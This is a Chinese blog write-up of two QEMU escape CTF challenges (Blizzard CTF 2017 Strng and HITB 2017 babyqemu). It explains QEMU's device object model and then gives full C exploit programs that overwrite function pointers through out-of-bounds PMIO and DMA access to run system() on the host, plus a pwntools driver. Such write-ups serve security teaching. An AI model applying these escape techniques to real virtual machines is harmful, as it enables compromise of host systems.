Qemu pwn的第一次尝试

(Qemu pwn == Kernel Mode的交互 + User Mode的利用

gva -> hva

1
2
3
gva -> gpa: 读/proc/self/pagemap获取gva对应的gpa
gpa + hva_start == hva: 理解一下: Guset的物理内存是Host(Qemu进程)虚拟地址空间中一段连续的区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
Err("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

设备注册,识别,交互的关键结构体

设备从注册到交互,以Blizzard CTF 2017 Strng为例:
type_register_static注册一个Type,在TypeInfo结构中设置Type的名称,父类,实例大小,实例初始化函数与类初始化函数,最终根据TypeInfo来生成一个TypeImpl的对象(该对象在堆上,反编译是找不到的).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static void pci_strng_register_types(void)
{
static const TypeInfo strng_info = {
.name = "strng",
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(STRNGState),
.instance_init = strng_instance_init,
.class_init = strng_class_init,
};

type_register_static(&strng_info);
}
type_init(pci_strng_register_types)


static const TypeInfo pci_testdev_info = {
.name = TYPE_PCI_TEST_DEV,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(PCITestDevState),
.class_init = pci_testdev_class_init,
};
TypeImpl *type_register_static(const TypeInfo *info)
{
return type_register(info);
}
TypeImpl *type_register(const TypeInfo *info)
{
assert(info->parent);
return type_register_internal(info);
}
static TypeImpl *type_register_internal(const TypeInfo *info)
{
TypeImpl *ti;
ti = type_new(info);
type_table_add(ti);
return ti;
}

完整的TypeInfo,TypeImpl结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct TypeInfo
{
const char *name;
const char *parent;
size_t instance_size;
void (*instance_init)(Object *obj);
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj);
bool abstract;
size_t class_size;
void (*class_init)(ObjectClass *klass, void *data);
void (*class_base_init)(ObjectClass *klass, void *data);
void (*class_finalize)(ObjectClass *klass, void *data);
void *class_data;
InterfaceInfo *interfaces;
};

struct TypeImpl
{
const char *name;

size_t class_size;

size_t instance_size;
size_t instance_align;

void (*class_init)(ObjectClass *klass, void *data);
void (*class_base_init)(ObjectClass *klass, void *data);

void *class_data;

void (*instance_init)(Object *obj);
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj);

bool abstract;

const char *parent;
TypeImpl *parent_type;

ObjectClass *class;

int num_interfaces;
InterfaceImpl interfaces[MAX_INTERFACES];
};

QOM有一个基类,所有的类继承于它.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* include/qom/object.h */
typedef struct TypeImpl *Type;
typedef struct ObjectClass ObjectClass;

struct ObjectClass
{
/*< private >*/
Type type;
GSList *interfaces;
const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];
ObjectUnparent *unparent;
GHashTable *properties;
};

/* include/qom/object.h */
typedef struct TypeImpl *Type;
typedef struct ObjectClass ObjectClass;
struct ObjectClass
{
/*< private >*/
Type type; /* points to the current Type's instance */
...
/* include/hw/qdev-core.h */
typedef struct DeviceClass {
/*< private >*/
ObjectClass parent_class;
/*< public >*/
...
/* include/hw/pci/pci.h */
typedef struct PCIDeviceClass {
DeviceClass parent_class;
...

对应还有一个代表基类对象的Object.
本题是Object->Device->PCIDevice->Strng这样的继承关系.

1
2
3
4
5
6
7
8
9
10
typedef struct {
PCIDevice pdev;
MemoryRegion mmio;
MemoryRegion pmio;
uint32_t addr;
uint32_t regs[STRNG_MMIO_REGS];
void (*srand)(unsigned int seed);
int (*rand)(void);
int (*rand_r)(unsigned int *seed);
} STRNGState;

PCI设备类初始化方式: 设置设备对应的device_id,vendor_id等,使得该PCI设备能被识别,设置realize函数,当被识别时调用.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static void strng_class_init(ObjectClass *class, void *data)
{
PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

k->realize = pci_strng_realize;
k->vendor_id = PCI_VENDOR_ID_QEMU;
k->device_id = 0x11e9;
k->revision = 0x10;
k->class_id = PCI_CLASS_OTHERS;
}

/* include/hw/pci/pci.h */
typedef struct PCIDeviceClass {
DeviceClass parent_class;

void (*realize)(PCIDevice *dev, Error **errp);
int (*init)(PCIDevice *dev);/* TODO convert to realize() and remove */
PCIUnregisterFunc *exit;
PCIConfigReadFunc *config_read;
PCIConfigWriteFunc *config_write;

uint16_t vendor_id;
uint16_t device_id;
uint8_t revision;
uint16_t class_id;
uint16_t subsystem_vendor_id; /* only for header type = 0 */
uint16_t subsystem_id; /* only for header type = 0 */

/*
* pci-to-pci bridge or normal device.
* This doesn't mean pci host switch.
* When card bus bridge is supported, this would be enhanced.
*/
int is_bridge;

/* pcie stuff */
int is_express; /* is this device pci express? */

/* rom bar */
const char *romfile;
} PCIDeviceClass;

设备被识别时注册mmio,pmio的区域和函数表.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const MemoryRegionOps strng_mmio_ops = {
.read = strng_mmio_read,
.write = strng_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
};

static const MemoryRegionOps strng_pmio_ops = {
.read = strng_pmio_read,
.write = strng_pmio_write,
.endianness = DEVICE_LITTLE_ENDIAN,
};


static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);

memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);
memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}

实例的初始化.

1
2
3
4
5
6
7
8
9
10
#define STRNG(obj) OBJECT_CHECK(STRNGState, obj, "strng")

static void strng_instance_init(Object *obj)
{
STRNGState *strng = STRNG(obj);

strng->srand = srand;
strng->rand = rand;
strng->rand_r = rand_r;
}

完成上述步骤后设备实例初始化完毕,若客户机读写设备注册的MMIO区域或与PMIO端口,Qemu回调设备函数表中的相应函数.

比较让人混淆的是TypeImpl,instance,XXXClass的概念.
可以从class_init函数切入.类的初始化函数,听起来有点莫名其妙,咱们平时所说的初始化一般都是初始化类的对象,好像没有初始化类的说法.
因为平时所说的类的概念,是语言本身提供的,在编译期实现,可以指定类有哪些成员,成员变量的初值,类的构造函数.而Qemu是在运行中实现类的概念.
根据设置的TypeInfo信息创建的TypeImpl对象是XXX类定义的一部分,包含类名,类大小,类的初始化函数及类实例(对象)的初始化函数(构造函数)等.class_init函数的工作,相当于完成语言中定义类时为成员变量设置默认初值的工作,也包括父类的虚函数的赋值.而instance_init则类似于构造函数,用来初始化一个该类型的实例(对象).

总结起来,从面向对象语言的角度来看,XXXClass,TypeImpl实际上都属于类的定义,instance是类的对象.

Blizzard CTF 2017 Strng

一些信息搜集




MMIO地址为0xfebf1000,大小为256;PMIO地址为0xc050,总共有8个端口.
查看内存 start-address — end-address — flags
或者 /proc/iomem,/proc/ioports

分析

看pmio_read和pmio_write,一眼越界读写,write时设置qpaque->addr,之后再作为下标进行任意读写.还给了能布置参数的函数指针调用,先读函数指针泄露地址再改函数指针执行system(‘sh’).

解释一下这两个函数的参数.addr是要操作的port - portbase(PMIO),size是这次IO操作的字节数,val是要写入的值.

顺便提一下,mmio_read看起来也很像越界读写,但其实addr是有限制的,因为只有在读写MMIO区域时Qemu模拟才会调用这俩函数.

exp

有个不合理但其实也合理但我不接受的点是,32位下编译,uint64_t == unsigned long即32位无符号整型…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>

#define HEX(x) printf("[*]0x%016llx\n", (unsigned long long)x)
#define LOG(addr) printf("[*]%s\n", addr)

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define LOWMASK 0xffffffff
#define HIGHMASK 0xffffffff00000000

typedef unsigned long long uint64_t;

size_t pmio_base = 0x000000000000c050;
void * mmio_mem;
char* userbuf;
uint64_t phy_userbuf;
int fd;

void Err(char* err){
printf("Error: %s\n", err);
exit(-1);
}


uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
// ((uintptr_t)addr >> 12)<<3
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

/*
* transfer visual address to physic address
*/
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

size_t va2pa(void *addr){
uint64_t data;

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}

uint64_t mmio_read(uint32_t addr){
return *( (uint32_t *)mmio_mem + addr );
}

void mmio_write(uint32_t addr,uint32_t val ){
*((uint32_t *)mmio_mem + addr) = val;
}

void pmio_write(uint32_t addr,uint32_t val){
outl(val,addr);
}

void pmio_writeb(uint32_t addr,uint8_t val){
outb(val,addr);
}

uint64_t pmio_read(uint32_t addr){
return (uint32_t)inl(addr);
}

uint64_t pmio_readb(uint32_t addr){
return (uint8_t)inb(addr);
}

void init_mmio(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd < 0){
Err("Open pci");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem<0){
Err("mmap mmio_mem");
}
}

uint64_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base,offset);
return pmio_read(pmio_base+4);
}

void pmio_arbwrite(uint32_t offset,uint32_t val)
{
pmio_write(pmio_base,offset);
pmio_write(pmio_base+4,val);
}


int main()
{
if (iopl(3) !=0 )
Err("I/O permission is not enough");
uint64_t srand_addr = 0;
srand_addr |= pmio_arbread((0xBF8-0xAF4));
srand_addr |= (pmio_arbread(((0xBF8-0xAF4))+4) << 32);
HEX(srand_addr);

uint64_t system_addr = srand_addr+0xacd0ULL;
LOG("system:");
HEX(system_addr);

LOG("Prepare:");
// uint64_t binsh_addr = srand_addr+0x1925f8;
pmio_arbwrite((0xc08-0xAF4),system_addr&LOWMASK);
pmio_arbwrite(((0xc08-0xAF4))+4,(system_addr>>32));
pmio_arbwrite(2*4,0x6873);
LOG("Triger:");
pmio_arbwrite(3*4,0);

return 0;
}

还有一个不是很理解的点,system(‘sh’)后没办法正常交互(感觉Qemu进程异常退出后就经常出现这种情况),因为此时输入回车发送的实际上是’\r’,但shell是以’\n’终止的,所以会一直等待输入,不过可以用ctrl+J发送’\n’…

改用python交互或者直接system(‘cat /flag’)或CTRL+J.

1
2
3
4
5
6
7
8
9
10
11
12
io = process('./launch.sh',shell=True)

io.sendlineafter('ubuntu login: ',b'ubuntu')
io.sendlineafter('Password:',b'passw0rd')
io.sendlineafter('$','sudo ./exp')
pause()
io.send('cat /flag\n')

flag = io.recv()
print(flag)

io.interactive()

HITB GSEC2017 babyqemu

环境

依赖库的版本太老了,懒得一个一个换,关掉kvm用docker来跑,
刚开始的方案是gdbserver启远程调试,一个比较阴间问题的是gdb continue阻塞时要用SIGINT来取消,target remote也是用SIGINT来终止,一阻塞就断开连接,调得很难受.
(如果有人知道咋解决可以告诉我一下~)

后来仔细一想,Docker的隔离只是命名空间而已,容器的pid命名空间对主机是可见的,可以直接attach上去.

分析

关键结构体belike:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct __attribute__((aligned(16))) HitbState
{
PCIDevice_0 pdev;
MemoryRegion_0 mmio;
QemuThread_0 thread;
QemuMutex_0 thr_mutex;
QemuCond_0 thr_cond;
bool stopping;
uint32_t addr4;
uint32_t fact;
uint32_t status;
uint32_t irq_status;
dma_state dma;
QEMUTimer_0 dma_timer;
char dma_buf[4096];
void (*enc)(char *, unsigned int);
uint64_t dma_mask;
};

struct dma_state
{
dma_addr_t src;
dma_addr_t dst;
dma_addr_t cnt;
dma_addr_t cmd;
};

hitb设备只有mmio交互,功能就是读取和设置dma_state结构体的四个成员.write还有一个关键命令,可以设置timer的到期时间(100ms之后)

再来看这个timer,realize函数中可以注册了回调函数hitb_dma_timer,刻度1ms

漏洞点就在这个hitb_dma_timer了.两个功能,从物理地址读取数据到dma_buf,将dma_buf中的数据写入到物理地址.

1
void cpu_physical_memory_rw(hwaddr addr, uint8_t *buf,int len, int is_write);

dma_buf的索引在write和read的时候分别是dma_state.src和dma_state.dst(从src/dst得到索引的操作其实是相同的,伪C代码有点逆天).
没有限制,所以可以越界读写.还是越界读写一个函数指针enc,改到system的PLT表即可.

顺便练下gpa到hva的转换,这里的gpa是0x1f72d90

查看Qemu进程的vmmap找到Guest的物理空间,(64MB = 0x40*0x1000*0x1000B)

计算hva == gpa+hpa,查看写入前该地址的8字节数据


写入后再次查看,已经被修改为hitb_enc.

在write操作增加timer时间后要进行sleep,来等待timer回调

exp

(多提一句,exp中的copy_from_dma其实应该是copy_to_dma_buf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>

#define HEX(x) printf("[*]0x%016llx\n", (unsigned long long)x)
#define LOG(addr) printf("[*]%s\n", addr)

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define LOWMASK 0xffffffff
#define HIGHMASK 0xffffffff00000000

typedef unsigned long long uint64_t;

size_t pmio_base = 0x000000000000c050;
void * mmio_mem;
char* userbuf;
uint64_t phy_userbuf;
int fd;

void Err(char* err){
printf("Error: %s\n", err);
exit(-1);
}


uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
// ((uintptr_t)addr >> 12)<<3
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

/*
* transfer visual address to physic address
*/
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

size_t va2pa(void *addr){
uint64_t data;

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}

uint64_t mmio_read(uint32_t addr,uint32_t size){
return *(uint32_t *)( mmio_mem + addr );
}

void mmio_write(uint64_t addr,uint64_t val){
*(uint64_t *)(mmio_mem + addr) = val;
}

void pmio_write(uint32_t addr,uint32_t val){
outl(val,addr);
}

void pmio_writeb(uint32_t addr,uint8_t val){
outb(val,addr);
}

uint64_t pmio_read(uint32_t addr){
return (uint32_t)inl(addr);
}

uint64_t pmio_readb(uint32_t addr){
return (uint8_t)inb(addr);
}

void init_mmio(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd < 0){
Err("Open pci");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem<0){
Err("mmap mmio_mem");
}
}

void set_dma_state(uint32_t src,uint32_t dst,uint32_t cnt)
{
mmio_write(0x80,src);
mmio_write(0x88,dst);
mmio_write(0x90,cnt);
}


void copy_from_dma(void* buf,uint32_t idx,uint32_t cnt)
{
set_dma_state(idx+0x40000,gva_to_gpa(buf),cnt);
mmio_write(0x98,1|2);
sleep(1);
}

void copy_to_dma(void* buf,uint32_t idx,uint32_t cnt)
{
set_dma_state(gva_to_gpa(buf),idx+0x40000,cnt);
mmio_write(0x98,1);
sleep(1);
}


int main()
{
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

init_mmio();
HEX(mmio_mem);

LOG("prepare:");
uint64_t buf = 0;
copy_from_dma(&buf,4096,8);
HEX(buf);

uint64_t system_addr = buf-0x862B8;
copy_to_dma(&system_addr,4096,8);
char cmd[] = "cat /flag";
copy_to_dma(cmd,0,strlen(cmd));

LOG("Trigger:");
set_dma_state(0x40000,0,0);
mmio_write(0x98,1|2|4);

return 0;
}

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信